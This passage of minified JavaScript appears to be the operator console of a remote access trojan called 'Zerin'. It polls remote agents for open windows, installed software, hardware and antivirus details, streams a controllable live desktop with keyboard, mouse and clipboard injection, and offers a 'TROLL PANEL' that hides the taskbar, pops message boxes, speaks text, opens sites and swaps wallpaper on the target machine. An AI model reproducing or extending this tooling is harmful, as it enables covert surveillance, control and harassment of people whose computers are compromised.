focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function yU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await ke(e,{command:"installed_apps"});u(!0);let z=0;const O=30;v.current=setInterval(async()=>{var _;z++;try{const E=(_=(await Tn(e)).results)==null?void 0:_.find(U=>U.task_id===N);if(E){if(v.current&&clearInterval(v.current),v.current=null,a(!1),E.error){l(E.error);return}if(E.output)try{const U=JSON.parse(E.output);r(U)}catch{l("Failed to parse installed apps data")}}else z>=O&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const O=N[m]||"",_=z[m]||"",T=O.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function bU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await ke(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Tn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(hi,{label:"CPU",value:n.cpu}),s.jsx(hi,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(hi,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(hi,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(hi,{label:"OS",value:n.os}),s.jsx(hi,{label:"AV",value:n.av}),s.jsx(hi,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function hi({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function wU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const G=O.current;u(te=>te.fps===G.fps&&te.frameCount===G.frameCount&&te.dirtyTiles===G.dirtyTiles&&te.totalTiles===G.totalTiles?te:{fps:G.fps,frameCount:G.frameCount,width:G.width,height:G.height,lastFrameMs:G.lastFrameMs,dirtyTiles:G.dirtyTiles,totalTiles:G.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const K=p.useCallback((G,te)=>{h.current||(h.current=document.createElement("canvas"));const P=h.current;return(P.width!==G||P.height!==te)&&(P.width=G,P.height=te,x.current=null),x.current||(x.current=P.getContext("2d",{willReadFrequently:!1})),{canvas:P,ctx:x.current}},[]),R=p.useRef(new ArrayBuffer(5)),I=p.useRef(new DataView(R.current)),F=p.useCallback(G=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(G)},[]),B=p.useMemo(()=>({sendMouseMove:(G,te)=>{const P=I.current;P.setUint8(0,1),P.setUint16(1,G,!0),P.setUint16(3,te,!0),F(R.current)},sendMouseButton:(G,te,P,C)=>{const D=new ArrayBuffer(7),A=new DataView(D);A.setUint8(0,2),A.setUint8(1,G),A.setUint8(2,te),A.setUint16(3,P,!0),A.setUint16(5,C,!0),F(D)},sendMouseScroll:(G,te,P)=>{const C=new ArrayBuffer(7),D=new DataView(C);D.setUint8(0,3),D.setInt16(1,G,!0),D.setUint16(3,te,!0),D.setUint16(5,P,!0),F(C)},sendKey:(G,te,P)=>{const C=new ArrayBuffer(8),D=new DataView(C);D.setUint8(0,4),D.setUint8(1,G),D.setUint16(2,te,!0),D.setUint32(4,P,!0),F(C)},sendClipboard:G=>{const te=new TextEncoder().encode(G),P=new ArrayBuffer(5+te.length),C=new DataView(P);C.setUint8(0,5),C.setUint32(1,te.length,!0),new Uint8Array(P,5).set(te),F(P)},setQuality:G=>{U.current=G;const te=new ArrayBuffer(3),P=new DataView(te);P.setUint8(0,6),P.setUint8(1,1),P.setUint8(2,G),F(te)},setViewOnly:G=>{d.current=G},sendControl:(G,te)=>{const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,G),C.setUint8(2,te),F(P)}}),[F]),V=p.useCallback(()=>{if(!o2||f.current)return;const G=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});G.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:P,width:C,height:D,cursorX:A,cursorY:Z}=te.data;m.current(P,C,D,A,Z)}},f.current=G},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),q=p.useCallback(()=>{if(o2||b.current!==null)return;const G=()=>{const te=y.current,P=g.current,C=w.current;if((te.length>0||P.length>0)&&C){const{canvas:D,ctx:A}=K(C.width,C.height);for(const Z of te)A.fillStyle=`rgb(${Z.r},${Z.g},${Z.b})`,A.fillRect(Z.col*Z.tileSize,Z.row*Z.tileSize,Z.tileSize,Z.tileSize);for(const Z of P)A.drawImage(Z.bitmap,Z.col*Z.tileSize,Z.row*Z.tileSize),Z.bitmap.close();y.current=[],g.current=[],m.current(D,C.width,C.height,C.cursorX,C.cursorY)}b.current=requestAnimationFrame(G)};b.current=requestAnimationFrame(G)},[K]),Y=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const G of g.current)G.bitmap.close();g.current=[],y.current=[]},[]),ie=p.useCallback(()=>{if(T.current!==null)return;const G=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>G&&!E.current){E.current=!0;const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,30),F(P)}else if(te.bufferedAmount<=G/2&&E.current){E.current=!1;const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,U.current),F(P)}}},250)},[F]),ae=p.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),E.current=!1},[]),fe=p.useCallback(()=>{if(i.current)return;const G=Ze();if(!G)return;const P=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(G)}`,C=new WebSocket(P);C.binaryType="arraybuffer",i.current=C,C.onopen=()=>{l(!0),V(),q(),ie()},C.onmessage=D=>{if(!(D.data instanceof ArrayBuffer))return;const A=new DataView(D.data);if(D.data.byteLength<13)return;const Z=A.getUint16(0,!0),le=A.getUint16(2,!0),me=Number(A.getBigUint64(4,!0)),ge=A.getUint8(12),M=performance.now(),ee=S.current,W=N.current%k;ee[W]=M,N.current=W+1,z.current1){const Q=ee[(W+1-ne+k)%k],ce=(M-Q)/1e3;ce>0&&(X=Math.round((ne-1)/ce))}const H=O.current;if(H.frameCount++,H.fps=X,H.width=Z,H.height=le,H.lastFrameMs=me,ge===1){const Q=wU(A,13,D.data.byteLength);H.dirtyTiles=Q.numDirty,H.totalTiles=Q.cols*Q.rows;const ce=Q.cols>0?Math.ceil(Z/Q.cols):128,re=Q.tiles.filter(Ne=>Ne.codec===1),Ae=Q.tiles.filter(Ne=>Ne.codec===2);if(f.current){const Ne=[],Ie=re.map(_e=>{const ev=_e.data.buffer.slice(_e.data.byteOffset,_e.data.byteOffset+_e.data.byteLength);return Ne.push(ev),{col:_e.col,row:_e.row,data:ev}}),zt=Ae.map(_e=>({col:_e.col,row:_e.row,r:_e.data[0],g:_e.data[1],b:_e.data[2]}));f.current.postMessage({type:"tiles",tiles:Ie,solids:zt,width:Z,height:le,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:ce},Ne)}else{w.current={width:Z,height:le,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const Ne of Ae)y.current.push({col:Ne.col,row:Ne.row,r:Ne.data[0],g:Ne.data[1],b:Ne.data[2],tileSize:ce});if(re.length>0){if(j.current){v.current||(v.current=[]);for(const Ie of re){const zt=v.current.findIndex(_e=>_e.col===Ie.col&&_e.row===Ie.row);zt>=0?v.current[zt]={...Ie,tileSize:ce}:v.current.push({...Ie,tileSize:ce})}return}j.current=!0;let Ne=re.map(Ie=>({...Ie,tileSize:ce}));if(v.current&&v.current.length>0){for(const Ie of v.current)Ne.findIndex(_e=>_e.col===Ie.col&&_e.row===Ie.row)<0&&Ne.push(Ie);v.current=[]}Promise.all(Ne.map(Ie=>{const zt=new Blob([Ie.data],{type:"image/jpeg"});return createImageBitmap(zt).then(_e=>({bitmap:_e,col:Ie.col,row:Ie.row,tileSize:Ie.tileSize}))})).then(Ie=>{j.current=!1;for(const zt of Ie)g.current.push(zt)}).catch(()=>{j.current=!1})}}}else{H.dirtyTiles=0,H.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Q=new Uint8Array(D.data,13),ce=new Blob([Q],{type:"image/jpeg"}),re=URL.createObjectURL(ce);a.current=re,m.current(re,Z,le)}},C.onclose=()=>{l(!1),i.current=null,$(),Y(),ae(),r==null||r()},C.onerror=()=>{C.close()}},[e,t,r,V,$,q,Y,ie,ae]),de=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),Y(),ae(),l(!1)},[$,Y,ae]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),Y(),ae()},[$,Y,ae]),{isConnected:o,stats:c,controls:B,connect:fe,disconnect:de}}function jU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState("https://"),[_,T]=p.useState(!1),[E,U]=p.useState(""),[K,R]=p.useState(!1),[I,F]=p.useState(!1),[B,V]=p.useState(!1),[$,q]=p.useState(!1),[Y,ie]=p.useState(!1),[ae,fe]=p.useState(!1),de=(X,ne="ok")=>{f({text:X,type:ne}),setTimeout(()=>f(null),2500)},G=p.useCallback((X,ne,H)=>{a.current||(a.current=!0,i(!0)),l({w:ne,h:H});const Q=t.current;if(!Q)return;const ce=Q.getContext("2d");if(ce)if((Q.width!==ne||Q.height!==H)&&(Q.width=ne,Q.height=H),typeof X=="string"){const re=n.current||new Image;n.current=re,re.onload=()=>ce.drawImage(re,0,0),re.src=X}else X instanceof ImageBitmap?(ce.drawImage(X,0,0),X.close()):ce.drawImage(X,0,0)},[]),{isConnected:te,stats:P,connect:C}=J0({agentId:e,onFrame:G}),[D,A]=p.useState(!1);p.useEffect(()=>{!e||!D||ix(e).then(()=>C()).catch(()=>{C()})},[e,C,D]);const Z=async(X,ne)=>{try{await ke(e,{command:X,args:ne}),de(`Sent: ${X}`)}catch{de(`Failed: ${X}`,"err")}},le=()=>{const X=!c;u(X),Z("troll_taskbar",[X?"show":"hide"])},me=(X,ne,H)=>{const Q=!X;ne(Q),Z(H,[Q?"on":"off"])},ge=()=>{y.trim()&&(Z("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},M=()=>{j.trim()&&(Z("troll_tts",[j]),w(!1),k(""))},ee=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){de("URL must start with http:// or https://","err");return}Z("troll_website",[z]),N(!1),O("https://")}},W=()=>{E.trim()&&(Z("troll_wallpaper",[E]),T(!1),U(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:P.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] 